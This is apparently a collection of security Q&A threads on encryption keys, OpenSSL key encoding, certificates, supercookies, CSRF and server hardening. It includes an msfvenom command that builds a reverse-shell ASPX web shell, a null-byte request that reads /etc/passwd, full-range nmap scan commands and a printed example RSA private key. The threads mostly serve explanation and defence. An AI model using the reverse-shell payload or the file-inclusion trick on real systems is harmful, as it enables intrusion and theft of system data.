How long (in letters) are encryption keys for AES? How long is the encryption/decryption key for an assymetric algorithm, such as AES? If I use AES 128-bit, how many characters should I type in for my key? What about AES 256-bit?

Edit: Here is why I am asking:
I am trying to use OpenSSL to encrypt some data using Node.js, PHP and command-line. I need to give in the key. When I tried 32 letter-key for AES128, it returned key length error. When I tried 32 for AES256 it returned general key error. I have no idea how I am supposed to enter the encryption key...

An AES 128-bit key can be expressed as a hexadecimal string with 32 characters.  It will require 24 characters in base64.

An AES 256-bit key can be expressed as a hexadecimal string with 64 characters.  It will require 44 characters in base64.


Pattern for access controlled client side encryption How would you design a server/client system where a client is granted a key to encrypt/decrypt data, but the key could be revoked/redistributed by the server? Data encrypted prior must still be readable with the new key.
A simple scenario:

Client wants to send a document to a server
Client encrypts the document with some client-side credentials and sends to server
Server receives document and stores in database
Client requests document, receives, then decrypts. The roundtrip is complete.

Now, suppose the client credentials are compromised and key used to encrypt/decrypt data is stolen. The client changes their password, etc, but the key that can decrypt incoming data is still an issue.
My question is about redistributing an encryption key without having to re-encrypt all of the clients data. Are there any patterns that can help me with this? It feels like a variation of symmetric encryption with a KEK and DEK, but I'm having trouble figuring out how to encrypt something on the client side without exposing the DEK.

KEK and DEK will not be helpful to you. In these schemes, the key that encrypts the data (DEK: data encryption key) never changes. Only the envelope/wrapper key (KEK: key encryption key) that protects the DEK changes. The KEK is the one that is protected by the user password. You can replace the user password & KEK and then protect the original DEK with the new KEK but the data is still encrypted with the original DEK, unless you replace DEK but that requires decrypting the document with the old DEK and encrypting it again with the new DEK.
If your solution relies on decryption at the client side, there is no way of avoiding storing DEK at the client. The client needs it to encrypt/decrypt. In the event of user password and thus KEK being compromised (the latter requires access to the device), then you can assume DEK is also compromised too (b/c it is encrypted by KEK). In this scenario, you need to re-encrypt all documents if the adversary can access the encrypted document too.
One alternative could be to not store DEK at the client-side permanently, rather provide it upon request, decrypted via KEK sent to your server in a SSL/TLS session from the client.

This can allow your app to store additional logs for incident response and also provide opportunity to perform anomaly detection etc at the server side.
But, this is just an improvement and doesn't solve the underlying problem: you're still sending the DEK to client, it's just not being stored permanently there anymore.
Plus, this eliminates the privacy of your users if that's a concern (i.e. the server knows and stores DEK, after KEK is received from the client).
Of course, if it comes to this point, why not perform all decryption/encryption at server side (the only thing I can think of: a) saving on server cloud cost by not handling the CPU intensive work at the server, and b) maybe avoiding the probably of unintentionally storing the decrypted versions of sensitive client documents on the server, i.e. memory dumps, error logs etc.)


Should a closed source website keep a secret key in its source? Various APIs (such as Facebook or Amazon S3) require a secret key to authenticate access to the service. Obviously, if source code is public, the key should not be in the source! What about for a closed source website?

My recommended practice is not to put keys in source code. The best option for your particular situation depends on some of the details.

Generally, the preference is to keep the key in a separate file that is not stored in the source code repository. You can even have a secrets directory if you like and store the keys there. Generally you issue the keys to appropriate users -- those who need to make final builds or builds that can test the functionality that requires the key.

If you have individuals who work with your source code who are not fully trusted with the keys (for example, if outsourced programmers add to your code) you can rig the code to operate in a fallback mode if it doesn't have the secrets. This may or may not be appropriate to your situation.

I should point out that there really is no good way to keep the key secret if you distribute the object code. This method really should only be used in programs that are not just closed source but closed distribution. If you have to do some obfuscation, not just the key but the obfuscator should be in the secrets directory and its distribution restricted.


Can I generate OpenSSL keys containing provable primes? As I understand it, OpenSSL uses Miller-Rabin to probabilistically generate large numbers which are highly likely to be prime from which to build its keys.

I also understand that the software uses enough rounds to render the chances of using an accidentally composite number to be astronomically small.

But I'm being strict and paranoid. I want provably prime keys (e.g. by Maurer's algorithm or some other). Can I make OpenSSL generate such keys? Or, can I generate OpenSSL certificates using some other software which satisfies this condition?

I don't think openssl has code to generate RSA keys using the algorithm you want. But you can use any software to generate the values that must be encoded in the private key, and then encode them in the right way so that openssl can then use the key for anything (generate CSR, create self signed certificates, be a TLS server, be a TLs client that uses client certificates, etc.).

The format of the key that you must provide is specified in PKCS#1 [1] and includes: n, e, d, p, q, d mod (p-1), d mod (q-1) and (inverse of q) mod p.

Observe what openssl produces when it generates a private key:

openssl genpkey -algorithm RSA -out private_key.pem -pkeyopt rsa_keygen_bits:2048

This is what's inside:

openssl rsa -in private_key.pem -text -noout

This is how it is encoded:

openssl asn1parse -inform pem -in private_key.pem

 0:d=0  hl=4 l=1212 cons: SEQUENCE
 4:d=1  hl=2 l=   1 prim: INTEGER           :00
 7:d=1  hl=2 l=  13 cons: SEQUENCE
 9:d=2  hl=2 l=   9 prim: OBJECT            :rsaEncryption
20:d=2  hl=2 l=   0 prim: NULL
22:d=1  hl=4 l=1190 prim: OCTET STRING      [HEX DUMP]:308204A20201000282010100CEDECBB4CFA04699F0C849D7FFF9AD1AFAEB422821889A39D3B5D6C216B4D0AF6E60E12221DA77AEFC6C6FB4932764A787AD8A5388382FB34F7592F1BD829A379931AA06D79BA8A23CC2FC0B43E766AB86D5471CD2CB7C90D4953F923C716C82B8F225A26B1D6F23E123301CC5C1D66675567E2FBA2EDA31986416BC9BEAD6A9CA3995AEFB1CE62F21600509489642031EA849325FB0DA6ECEE614642141946493C58B5BE56AEE21A96EB3C0593387067BCE6C11210402A8277CD31E62B0FAF470E51AC1DF87E7AF682562FEF576139F6491E864B190AFCF25E9D18AA89390AF6EC59169AD72851A2428B7C4EEB9E59F2EB4C3E1ADF6A5BE41425922FA06C7A10203010001028201000EFF29C756D1E8AC5A3F3AD334D455CF41E77229549D018935A6D605C5FD9FAF48122FDFF8924CE0DB9DC4CF5367A4AD5C71A138830487B8B906EDFB2660E46B2968E7498DB1D41CC6C8DFDAB5367E43EB07651B5AD0B39C103D2D999D561FA6AE5FA788C9B91D887D56BEB32746F113066899C73DF90D8A50E0D8A11DB07D953A11087FF85B78255CAC52FE55F2F6646EA2521C0CA8F3B2EEFD09B7B3DBEF53A0F7CAB2B0C3AE325F014A1C4FDCB15E2CD3B8AA27A0B0FD1531473CA7CA781B9B675196AE147A17FDBAE6837E50E117D568492EE76EB0C996097A06D892DEB0249574757D8B2FE365DDF1FCC37B755CAD91C76781A7A72ADB9755B179498EFD02818100F2AED36E57E843155C2CD3CACAC84FBFD94DDF13796F2F189109C5A6AC0D345BE1B7EC4CE903618DA045B49D47F24D762566BBEFA2E84E4A5BC10024A9E8964AB60F4B4E7E63948D341BB977E257A17B69AB509123E2A671200BA31E05D39E0F5A5EFF063A11918DEBEC7FD550D0729D5EDBBD466BC0D23D77942200D95901FF02818100DA38E120A3738BB96FC20056186F0A0ED748609E05D50561D7EA2BE439094FF2439F9C03DC6E808F3AB280358D0651632C384C4AA4CE067F319B9426A8B804A3817410F914FF072FCA98024E66067FE572C8ECE5E4FE263BDECC8EDBB60060D0EFF17B1D21FA711E4F8C59D826FAB348595563DCFE41348500F45B310DECF65F0281802A71951CE956FFD48E88708A39290B799C41D850099EFE77A7763411506A06CC430FEDCE0DBABFA70B6EE585D47D763AC193D42EB72935F81F5003FC6592FE2616ED59D862967BF6AE34631DAA827505A69785C1BCAAF93D33C39545BCF323E3BF8479C9D7021798E0B83E2B4AB50A36A7CE7AAE044E76F6B5213D4934BA327502818068BB15A8D16959ECA46B4A3807BFFAE6C6819105262D6748DF141EFE883524EE53701DB368AE8BFAB1A40B8E27E1995BEC5414A15A591A9B1ED6D91278B4E05D0C7B04CE563A535BA772AEE0AB6C812340A497B579E253BD361F9C8C6BDBE09B461CF206385176CAA248ECB1A57B7A61C5A60AA87C4A1507A43EA22977D27B270281806B36867417418016B3E567A514C904E0443C0F8BBABF361230BF8021FC8BE807EB7DA4A77EA72FAB4F12C54C541C97F6368D54D60078A4347942884DBF2240017E1F554A771BD373B949A9B320D1589A617B0E16EC2A61A2C8D6F91F892A436FC553EFD98F371BFD66BB466016E63A3297271EE058025324CB7A5B27A262F099

openssl asn1parse -inform pem -in private_key.pem -strparse 22

   0:d=0  hl=4 l=1186 cons: SEQUENCE
   4:d=1  hl=2 l=   1 prim: INTEGER           :00
   7:d=1  hl=4 l= 257 prim: INTEGER           :CEDECBB4CFA04699F0C849D7FFF9AD1AFAEB422821889A39D3B5D6C216B4D0AF6E60E12221DA77AEFC6C6FB4932764A787AD8A5388382FB34F7592F1BD829A379931AA06D79BA8A23CC2FC0B43E766AB86D5471CD2CB7C90D4953F923C716C82B8F225A26B1D6F23E123301CC5C1D66675567E2FBA2EDA31986416BC9BEAD6A9CA3995AEFB1CE62F21600509489642031EA849325FB0DA6ECEE614642141946493C58B5BE56AEE21A96EB3C0593387067BCE6C11210402A8277CD31E62B0FAF470E51AC1DF87E7AF682562FEF576139F6491E864B190AFCF25E9D18AA89390AF6EC59169AD72851A2428B7C4EEB9E59F2EB4C3E1ADF6A5BE41425922FA06C7A1
 268:d=1  hl=2 l=   3 prim: INTEGER           :010001
 273:d=1  hl=4 l= 256 prim: INTEGER           :0EFF29C756D1E8AC5A3F3AD334D455CF41E77229549D018935A6D605C5FD9FAF48122FDFF8924CE0DB9DC4CF5367A4AD5C71A138830487B8B906EDFB2660E46B2968E7498DB1D41CC6C8DFDAB5367E43EB07651B5AD0B39C103D2D999D561FA6AE5FA788C9B91D887D56BEB32746F113066899C73DF90D8A50E0D8A11DB07D953A11087FF85B78255CAC52FE55F2F6646EA2521C0CA8F3B2EEFD09B7B3DBEF53A0F7CAB2B0C3AE325F014A1C4FDCB15E2CD3B8AA27A0B0FD1531473CA7CA781B9B675196AE147A17FDBAE6837E50E117D568492EE76EB0C996097A06D892DEB0249574757D8B2FE365DDF1FCC37B755CAD91C76781A7A72ADB9755B179498EFD
 533:d=1  hl=3 l= 129 prim: INTEGER           :F2AED36E57E843155C2CD3CACAC84FBFD94DDF13796F2F189109C5A6AC0D345BE1B7EC4CE903618DA045B49D47F24D762566BBEFA2E84E4A5BC10024A9E8964AB60F4B4E7E63948D341BB977E257A17B69AB509123E2A671200BA31E05D39E0F5A5EFF063A11918DEBEC7FD550D0729D5EDBBD466BC0D23D77942200D95901FF
 665:d=1  hl=3 l= 129 prim: INTEGER           :DA38E120A3738BB96FC20056186F0A0ED748609E05D50561D7EA2BE439094FF2439F9C03DC6E808F3AB280358D0651632C384C4AA4CE067F319B9426A8B804A3817410F914FF072FCA98024E66067FE572C8ECE5E4FE263BDECC8EDBB60060D0EFF17B1D21FA711E4F8C59D826FAB348595563DCFE41348500F45B310DECF65F
 797:d=1  hl=3 l= 128 prim: INTEGER           :2A71951CE956FFD48E88708A39290B799C41D850099EFE77A7763411506A06CC430FEDCE0DBABFA70B6EE585D47D763AC193D42EB72935F81F5003FC6592FE2616ED59D862967BF6AE34631DAA827505A69785C1BCAAF93D33C39545BCF323E3BF8479C9D7021798E0B83E2B4AB50A36A7CE7AAE044E76F6B5213D4934BA3275
 928:d=1  hl=3 l= 128 prim: INTEGER           :68BB15A8D16959ECA46B4A3807BFFAE6C6819105262D6748DF141EFE883524EE53701DB368AE8BFAB1A40B8E27E1995BEC5414A15A591A9B1ED6D91278B4E05D0C7B04CE563A535BA772AEE0AB6C812340A497B579E253BD361F9C8C6BDBE09B461CF206385176CAA248ECB1A57B7A61C5A60AA87C4A1507A43EA22977D27B27
1059:d=1  hl=3 l= 128 prim: INTEGER           :6B36867417418016B3E567A514C904E0443C0F8BBABF361230BF8021FC8BE807EB7DA4A77EA72FAB4F12C54C541C97F6368D54D60078A4347942884DBF2240017E1F554A771BD373B949A9B320D1589A617B0E16EC2A61A2C8D6F91F892A436FC553EFD98F371BFD66BB466016E63A3297271EE058025324CB7A5B27A262F099

1 - https://tools.ietf.org/html/rfc3447#appendix-A.1.2


Server-side encryption mechanism (Nextcloud) I've been looking around how server-side encryption works. Thanks to the nextcloud doc I understand the implementation.

Basically, when you first log in a key pair is created, and the private key is encrypted using a key derived from the password of the user. When a new file is a created, a symmetric key is used and that key is encrypted with the public key and can only be decrypted with the private key.

When you want to read that file, you log in, the private key is decrypted by the key derived from the password (and stored in memory), then the symmetric key is decrypted (then you can decrypt the file).

But, I am using two-factor authentication on the server, with a Yubikey. So when I want a desktop client to connect to my nextcloud I use an app password. How is the private key decrypted when I'm using nextcloud desktop client with an app password? Furthermore, the user password is not stored in plain text. Maybe the app password is derived from the user password, but how?

Edit: I'm not looking at how the technique is implemented in Nextcloud in particular, just at a general explanation on how it can be done.

Say we have an asymmetric key pair, where public key A can be stored freely and private key B is encrypted. For each file's encryption, there is a symmetric key K(file). K(file) is encrypted by public key A and can be decrypted by private key B only.

The key point here, I think, is that you can use different passcodes to decrypt private key B, similar to LUKS encryption. For example, key C (the real key for decrypting key B), has several copies and each one is encrypted by your passcode or one of your app-passwords. In this case, your passcode and your app-passwords have no difference in decrypting files.


Permissions security scenarios for a web server Having /var/www/site.com owned by www-data:www-data with a 750 permission for directories and 640 for files, and having my user alexb added to www-data group, I found my self with permission issues when I try to pull new releases (git pull) to the testing environment.

So, right now, the only solutions that come into my mind, are the following:

alexb:www-data ownership for /var/www/site.com with the same 750 and 640
Stick to www-data:www-data, and a 750 and 640 permissions layout.
Create a new user and group (staging-user:staging-group), give that new user real shell access and give assign the ownership of /var/www/site.com to them, with the initial 750 and 640 permissions layout, so that when I need to run so shell actions (git pull for example) I just switch user and do it.

Now, the questions are:

Which is worst?
Any big thing that I might miss?

Having /var/www/site.com owned by www-data:www-data

If www-data is also the uid your webserver runs as then you have a really insecure system. The webserver should only have read access (and execute for directories). If you do need to allow the webserver to write data then this directory should be ringfenced - and preferably outside the document root.

If alexb is the only account which needs write access then "alexb:www-data ownership for /var/www/site.com with the same 750 and 640" is a reasonable approach. However if you have multiple users who need write access, then the best solution is probably to create a new group with that access, allow the webserver read access as 'other' (775/664) but remember to set the user umasks approapriately (and enable the setgid bit on directory (2775)


Are all (or most) expired certificates issued by 3rd party certificate authorities also marked as revoked? In a recent online course, an instructor stated:

  Once you've created a certificate, eventually you are going to have to
  revoke it, and even if that's just to renew it, really, I mean if you
  have created a certificate and it's gonna last, say, a year, or maybe
  three years, ultimately that certificate will have to be renewed, and
  before you can renew it, you have to revoke it.

Is that strictly accurately? I always thought that certificates which expired naturally (and weren't replaced in the middle of their term) were rejected by clients because they were expired -- not because they were marked as revoked by the CA.  Can someone please clarify?

Note that the following is only valid for the usage of certificates in the context of TLS. It can differ in other use cases for certificates, like with digital signatures on documents, mails, signed programs etc.

You don't have to revoke a certificate even if you renew it. You need to revoke a certificate only if it or what it represents got somehow compromised, like if the private key might be known to some third party or if the domain has changed the owner and thus all previously issued certificates to the old owner should be no longer valid.

Otherwise a certificate has an expiration time where it will be naturally stop working. Proper clients will check the expiration and will not accept certificates which are expired. No additional check for revocation is done for expired certificates since they are not valid anymore anyway and thus no revocation need to be done.


Why AES output has more size than my plaintext? I have enciphered a vector of bytes that has 17 bytes in itself. However, When I try to enciphered with AES, AES output has a 32-byte size? What is happening here?

AES as it stands a block cipher with 16-byte block size and 16, 24, and 32-byte key sizes.
To encrypt even one bit, you need additional data. On the simple thaught, one can consider filling the rest with 0, then during decryption, there will be ambiguity. That is after the decryption, that data is 1 or 10 or 100 ... if the encrypted bit was 1  and similarly for the case of bit 0. Therefore we don't want ambiguity. There are solutions for this and this is called padding.

Append 1 followed by 0's to fill the block. This is a bit padding and there is a byte version that is a pad with 8 then fill with 0. If the block was full, you need an additional block for padding to remove the ambiguity, again, since what if the last block ends with 1 ( or 8 in the byte case).

PKCS#7 padding; this is a byte padding and common with CBC mode, let x be the remaining byte, then fill the rest with x as byte encoded. For example, if two bytes needed to fill then pad two times 0x02. This also has a special case, that what if the last block is full, the create a new block and fill with 0x1F 16-times

Now, you have said, you had 17 bytes then with AES this requires 2 blocks and that makes 32 bytes. It is highly probable that the library that you are using seamlessly handling the padding for you during the encryption and decryption.
Keep in mind that depending on the library this can be more; for example, the 16-byte IV/nonce of the CBC or CTR can be automatically prepended to the ciphertext and in your case, this will be 48 bytes for ECB, CBC.
If you used the CTR mode then you will have 33 bytes with prepended IV since CTR doesn't need padding.
And if you are using authenticated encryption like AES-GCM (internally uses the CTR) then the authentication tag can be automatically appended to ciphertext. The GCM's default tag size is 16-byte, this will make 49-byte if you are used such a library.

I hope you don't mix with Rijndael != AES. Rijndael can have 128, 160, 192, 218, and 256 block and key sizes, NIST selected just 3 from the Rijndael family, with fixed 128-bit block size and 128, 192, and 256-bit key sizes.


Does Docker affect the quality of cryptographic operations? Is running cryptographic operations (encryption / decryption / signing / verifying / key-exchange / key-generation) in a Docker container affecting the quality of the crypto or entropy?

If it does impact it, how do you mitigate that risk and are all cryptographic programs equals likely to suffer this?

The response is NO, the crypto operations in general are generated by libraries like openssl, libsodium and so on, no by a docker. The only case that came to my mind is that your docker uses old libraries that have vulnerabilities or issues.


Is it safe to use personal wiki over http? I hosting my site on infinityfree.net for free and dokuwiki is installed there.

Couple of my colleagues, including me, are going to use wiki for writing documentation for our project. Wiki is private, and only I can provide new accounts. Also, there is small chance, that I can give temporal read-only access to third party member.

Currently my site working over HTTP, therefore I have tried to use Let’s Encrypt to get ssl certificate, but it's look like, that my host is blocking that service. Also, there is no access to SSH and some PHP methods.

So, should I be worried, that my connection is not secure? Can I rely on "security through obscurity"? Is there are alternative solutions instead of setting up HTTPS (a free one is preferable)?

I concerned to be secured in 3 things

Keep content of wiki out of public sight. Description of technical implementation is top priority and should be available only to few selected people. Other info is not so important.
Keep data from getting removed/corrupted.
Avoid Man-in-the-middle attacks. Though, I don't sure how critical is this vulnerability in my case

You used "security through obscurity" in quotes, so I don't think I need to convince you that that is not going to work.

To achieve your goals, you will need to encrypt the connection between the clients connecting and the server (with a logon). HTTPS is the simplest, lowest effort, and cheapest way to do that.

But you can also consider things like placing the site behind another technology that is encrypted, like VPNs, or if you like tinkering, you can set up tunnels and proxies.

Or, the best solution appears to be to use a free wiki service that includes logins and HTTPS. There are tons of those.

I'm also going to toss this into the mix as an alternative approach to the whole thing. Try Jekyll and GitHub. You want a wiki that will eventually be published, but you do not want to publish it yet. So, set up a Jekyll site on a private GitHub repo. You all get to work on the wiki together, in complete protection, and when you are done, you can publish the wiki on GitHub Pages. I'm sure there are alternatives to GitHub, but I'm not aware of another that offers this functionality.


Can two parties sign each other's certificate and exchange without CA? Is possible (and practical) for two users to create their own self-signed SSL certificates, exchange these certificates (perhaps in a face-to-face meeting), and then communicate with each other securely (e.g. S/MIME)? No CA involved here.

Yes, it is possible and even common for two parties to exchange public key certificates of many types, without the involvement of a third party, to mutually encrypt their communication. This private exchange is the basis of the Web of trust (WOT) decentralized authentication model. The most well-known WOT system is Pretty Good Privacy (PGP) and its variants. If each party trusts the other sufficiently to maintain the security level (authorization to access resources) being granted, the WOT model is appropriate. See also Self-signed certificates.

Public Key Infrastructure (PKI) is the centralized authentication model used in commercial and government communications, involving a Certificate Authority (CA) whose purpose is to vouch for the identity of the certificate bearer by performing a certain level of due diligence on the requesting entity. The request is usually delivered as a Certificate Signing Request (CSR)).

Note that there are different levels of certification authority; a number of intermediate CAs could exist between the "root" authority and the final certificate. Some organizations, especially in government and academia, maintain their own PKI root (an internal CA) which issues certificates only within the organization. What separates a "Trusted" root CA from an untrusted one is primarily root certificate installed base. Operating systems, browsers and other applications are bundled with a selection of root certificates for CAs determined to be trustworthy by the vendor or general industry consensus. Certificates issued by these CAs are automatically trusted by the software which contains them, and these certificates are often installed to the local user's keystore, allowing every application the user runs to trust them.

The two models are designed for different levels of trust. Among friends or a private organization, WOT is enough. When dealing with large numbers of people, many of whom are strangers or possible threats, PKI is preferred.


Metasploit opens Meterpreter but shows no prompt please help I have created a payload to a website with msfvenom, and started the exploit/multi/handler exploit, they then connect to each other and create a meterpreter session as seen below, but I do not get the meterpreter prompt which I believe I should get and typing any commands just moves me back into the msf exploit(handler) prompt. has anyone ever experienced this before. my OS is parrot and the payload is made with the following command:

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f aspx > shell.aspx

any help is appreciated and I am ready to provide any other information that might be needed.

The Meterpreter session has gone to the background, which is default behaviour for Metasploit now.

To view the background sessions:

sessions -l

To interact with the session:

sessions -i <session id>


Why do device vendors build-in backdoors when it can destroy the companys reputation? As the title states: Why do large companies such as router developers intentionally build in backdoors into their product when it can completely destroy the company’s reputation and cause a major security risk?

I currently both live in Sweden and Norway where building in backdoors are not forced by any agency or the government (AFAIK) so I really can't see the point in doing it.

There are several ways how a backdoor can get into a product.

The company is forced to do so by the law of the country where they have their company headquarter. When you live in Sweden or Norway, then most of the electronic devices you use will likely be imported from China (I just looked for some device connected to my computer which did not have a "Made in China" sticker - I couldn't find one) while most of the software you use will be imported from the United States (with help from programmers from India). When the companies are forced by their local government to backdoor their devices for export, they will certainly not remove the backdoors or tell retailers about them when the products leave the country. Keeping them backdoored is the whole purpose of this, and the local laws usually forbid the companies from disclosing the backdoors. This prohibition also serves as a PR rescue system for the involved companies. When caught they can say that they had no choice and can put all the blame on their government.
The company management is unaware of the backdoor. It was either introduced accidentally (an honest security bug) or intentionally by an employee who was bribed, extorted, otherwise manipulated by a 3rd party or thought that it might serve their own personal interest to have a backdoor in their product only they know about. In practice, accidental backdoors are much more likely (Hanlon's Razor: "Never attribute to malice that which can be adequately explained by stupidity").
The company management is aware of the backdoor, and considers it a legitimate feature. A possible situation is a remote administration interface which is supposed to make it easier to handle customer support requests. Such a feature seems really useful from a laymans perspective. Imagine your router doesn't work, you call the support number, just read them the serial number and they fix it remotely without you having to do any of that difficult computery stuff. Sounds great, doesn't it? Unfortunately managers lack the technical expertise to understand how difficult it is to implement something like this in a way which makes it secure but still convenient for the support staff and end-user. In some companies, management will be primarily concerned with minimizing the minutes per handled customer support request and meeting the deadline, so security considerations will often have low priority.


Slot machine segfault: what can we determine? We walked into a casino and saw this near the entrance. I don't have a specific question, but is there anything that would be interesting to share and explain from the image?

A few observations:

It's a 32-bit Linux OS. Difficult to tell which distro - might be something custom.
They're running the latest version of Bash shell.
It contains an NVRAM device, such as an onboard EEPROM, which failed to initialise due to corruption. These are often used as tamper-proof storage modules that contain the game code.
It's on the network (IPv4 address is 10.254.0.10) and an NTP client is running.
No idea what rds_doNSQuery or RDSU_QUERY_NOWAIT mean.
The eip and esp registers weren't trashed by the crash, so I'd guess the crash was a forced segfault due to integrity checking failure, rather than a buffer overflow.

All in all, a rather interesting crash. Nice catch!


Updated list of bad/overused passwords I am building a website, and I'd like to make sure the users don't put an overused password like password or password1.. or any of these

Is there a place that constantly analyzes hacked websites passwords list and have a DB of the password usage statistics?

Here is a article with the data I hope you needed:

There you can find two files with password and small statistics


How to detect, inspect and delete a super cookie of a specific website? Definition of supercookie from the paper I am reading:

  "Supercookies settle in parts of the system that are
  harder to erase, and include the usage of Flash Local Shared Objects
  and IE Local Storage"

With that said, I would like to emphasize that I am not intersted in ISP created cookies.

How can I know if a website gave me a super cookie? Is there a guide line to follow?
How does this cookie report back to the website? (Would I see it if I inspect HTTP headers?)
Where it is stored? (I would like to see what it looks "inside".)
How can I delete it(if possible)?

I came here because most of the websites found when searching for "super cookie" are of type qz, theverge, wikipedia barely mentions them, with large target audience. Therefore they omit details to satisfy a larger group of people. They entertain, not educate. I didn't mean to offend anyone with a straightforward question.

The idea of a super cookie is that you cannot easily delete it. It consists of replicas of the information on multiple places and if you delete some of these the information will be restored from the remaining places. Some possible places are:

Simple cookies. These can usually be easily deleted. But one can make it harder if multiple sites cooperate so that the user does not know which cookies are relevant.
Flash cookies, Silverlight cookies etc. Depending on the browser and OS super cookies might spread between browser profiles or even different browser types this way and maybe also between normal and private mode of the browser.
HTML5 local storage.
Caching information, for example by misusing Etag and/or Last-Modified headers. Caching is an essential part of a good browsing experience but these information can also be used to track you and restore the super cookie.
...

For a way more detailed and still not exhaustive list see Technical analysis of client identification mechanisms.

Based on how super cookies work the answer to your questions will probably be unpleasant:

  How can I know if a website gave me a super cookie? Is there a guide line to follow?

There is no general guide since there are many different ways a super cookie could work. If you are curious about a specific site you might start with a freshly installed system (i.e. all plugins, cookies, cached data ... in initial state), visit the site and then do an analysis of the system what changed. I'm not aware of any tools which make a snapshot of all the ways information might hide and give you the difference between before and after visiting the site. And even then you would not know if the cached information are only used for speeding up access or also used for a super cookie.

  How does this cookie report back to the website? (Would I see it if I inspect HTTP headers?)

Also lots of ways and with some of these (like use of caching information) it is not even clear if they are used for tracking or not.

  Where it is stored? (I would like to see what it looks "inside".)

In lots of different places on your system, depending on the mechanisms used. This means that there is no single place you can look for the cookie.

  How can I delete it(if possible)?

This depends on the mechanism used which you usually don't know.
The best would probably be to use a virtual machine with a browser and reset the machine to its initial state after each browsing session. You might also try with private/incognito surf mode or fresh browser profiles but some plugins might still be used to share information in this case.


ALERT - ASCII-NUL chars not allowed within request variables In a Drupal site, I get this error in my Debian's syslog:

  suhosin[9413]: ALERT - ASCII-NUL chars not allowed within request
  variables - dropped variable 'name' (attacker 'x.x.x.x', file
  '/path/to/index.php')

I am wondering whether it indicates an attack, and if so how to avoid it?

This could be evidence of an attempted Poison NULL Byte Attack. PHP and Perl do not use NULL-terminated strings, but most underlying systems (anything C based) do.

This can lead to a certain class of attack where the attacker constructs a string that the programmer intended to be impossible. For example, if you were using a C library to include local file content into a web page, in your PHP you might do something like;

grabLocalFile($_GET['file_name'] . ".php");

By manually appending the ".php" it can appear that some security is offered - in that only file names ending with .php can be included. However if an attacker is able to send a request such as;

example.com/index.php?file_name=/etc/passwd\0

The null byte \0 will be treated as part of the string by php, which ends up calling;

grabLocalFile("/etc/passwd\0.php");

When this string reaches the underlying system, the NULL byte will be treated as a string terminator, and the .php will be ignored. Now the attacker has included /etc/passwd into the web page he is viewing, despite the developer's attempt to enforce inclusion only of files ending in ".php"

To mitigate these kinds of attacks you can strip out the NULL byte altogether by doing something like this

str_replace(chr(0), '', $string);

Regardless, suhosin looks like it is properly configured to defend against this class of attack.


How can I find the malicious/backdoor codes without knowing the last modified date? Last night my website got hacked and attacker edited the main index.php.

I was wondering even he edited that file, the last modified date did not change.
so I just worry if he would put the backdoor codes in other files. It is difficult for me to know the last edited files.

Is there a way I can know last edited files?
How can I scan those files at online?

Because the web sever is huge, I don't want to download those all files and scan it at my PC.

Unless you have an expert in computer forensics it's gonna be very difficult to know what happened, what files were modified, and what kinds of backdoors were installed.

Since your web server is "huge" I assume you're following a good backup policy, right? Right? Once you have a breach, assume the server is compromised and restore to the most recent good backup.


A security checklist for choosing an internet hosting service provider for a virtual private server? I am in the process of choosing an internet hosting service provider for my website. Besides looking at the reputation of the hosting provider through internet forums, is there a more concrete way of evaluation by means of a checklist where I can be assured that my source code and database for the website will be secure from those with direct access to the server itself?

Edit: I take it that there is no 100% guarantee that my source code and database will be safe as long as it is hosted by another party. What I am more interested to find out is the process of conducting due diligence such that at the very least, I know that I have done my part in managing the security risk.

These checklists are usually not very realistic and depend on honesty of the responding vendor. You can try looking for providers that have various industry certifications, e.g. SEC 2, ISO 27001, PCI (as a provider, not as a merchant), HIPAA etc.

Check some of the Amazon's https://aws.amazon.com/security/#certifications and look for similar ones.


How does the same-origin-policy protect against PUT/DELETE CSRF? I've read the OWASP guide for cross-site request forgery and it states that "other HTTP methods", such as PUT and DELETE could be theoretically used for CSRF.

However with the same-origin-policy these requests are not executed.
Why are PUT/DELETE affected by the same-origin-policy and POST is not.

GET and POST are methods used in basic linking, embedding and in submitting forms. These kind of interactions between sites predate the development of the same origin policy. If the same origin policy would be extended to incorporate POST and GET too then lots of sites would probably break.

Therefore any POST and GET which can be created by linking, embedding or forms are excluded from the same origin policy. But GET and POST which use custom headers or similar which can only be created with XHR are not excluded because they never could happen in the old web predating same origin policy. See also Would the CORS specification consider a missing Content-Type header to imply a "simple header"? for more information.

  PUT and DELETE could be theoretically used for CSRF...However with the same-origin-policy these requests are not executed.

That's only true by default. If the target provides an appropriate CORS policy then PUT and DELETE could be used for CSRF too.


How do I scan my Routers Ports? I recently scanned ports from within my LAN, but I recently read in order to determine whether Ports are open to the WAN I need to scan from outside the LAN, how do I do this?

If you are just looking for a way to access it from the outside look at an external VPN or use Tor

https://tor.eff.org

Using nmap from an external network is probably the easiest and most thorough way to make sure you scan everything. Note: Many services and security tools completely skip ports 9100 and port 0, some skip everything that's not particularly popular at a given time. Be thorough about your testing method to ensure you have tested all possible ports.

https://nmap.org/

Make sure you check all ports on each interface from that interfaces respective network. Likewise make sure you scan the TCP ports, UDP ports, IP services, and IPv6 if you have that configured.

The following commands will help:

TCP scans

nmap -n -Pn --allports -p 0-65535

UDP scans (Note: You may need to run UDP scans slowly to ensure packets are not lost)

nmap -n -Pn --allports -sU -p0-65535

IP Services Scan

nmap -n -Pn -sO

etc...

Likewise it may also be helpful to run some of the tests with the nmap NSE sripts which can be found here:

https://nmap.org/nsedoc/


Basic security checklist for using an open-source library I've recently started working with web applications, and the ones developed by our team seem to use a lot of external components for different minor functionality (e.g. a scrolling slider bar, a markdown editor ...)

The only "security" mechanism that we seem to rely on is that we only use components which are open source; however, we do not ever bother reading the source.

I'm less concerned about them introducing vulnerabilities (these will be picked up by our code scanning and VA/PT), and patching (we have a solid pipeline in place for this) and more worried about inserting some kind of backdoor / private data exfiltration vector.

Is this an uncommon attack vector? Is there a simple checklist of what/how to look for in code/behavior of external resources (kind of like the OWASP checklists for internal vulnerability assessments)?

There is a difference between serverside and client side here. Since your talking about scrollbars and markdown editors I assume this is client side. I would be less concerned with client side problems, since most modern browsers pick up on security issues fast. In addition to that, browsers try to limit security risks, and sometimes act on the behalf of the user (malware detected, invalid xhr requests).

Client Side

Backdoors are rather uncommon for these libraries or any piece of client side software. Thought they do exist, HTML5 and the modern web have driven browsers to implemented some tricks to prevent malicious activities, for example; same origin, mixed content, popup blocks and iframe warnings, the remove of flash, activex and applets, and so on...

Server Side

Serverside is an other story. If you use third party libraries (whether they are opensource or not) you expose the environment in which the application runs. Often employed techniques such as jailing, autdits, permissions per application directory and per database (operation) minimize the chance of successfully corrupt/access data and/or other environment data.

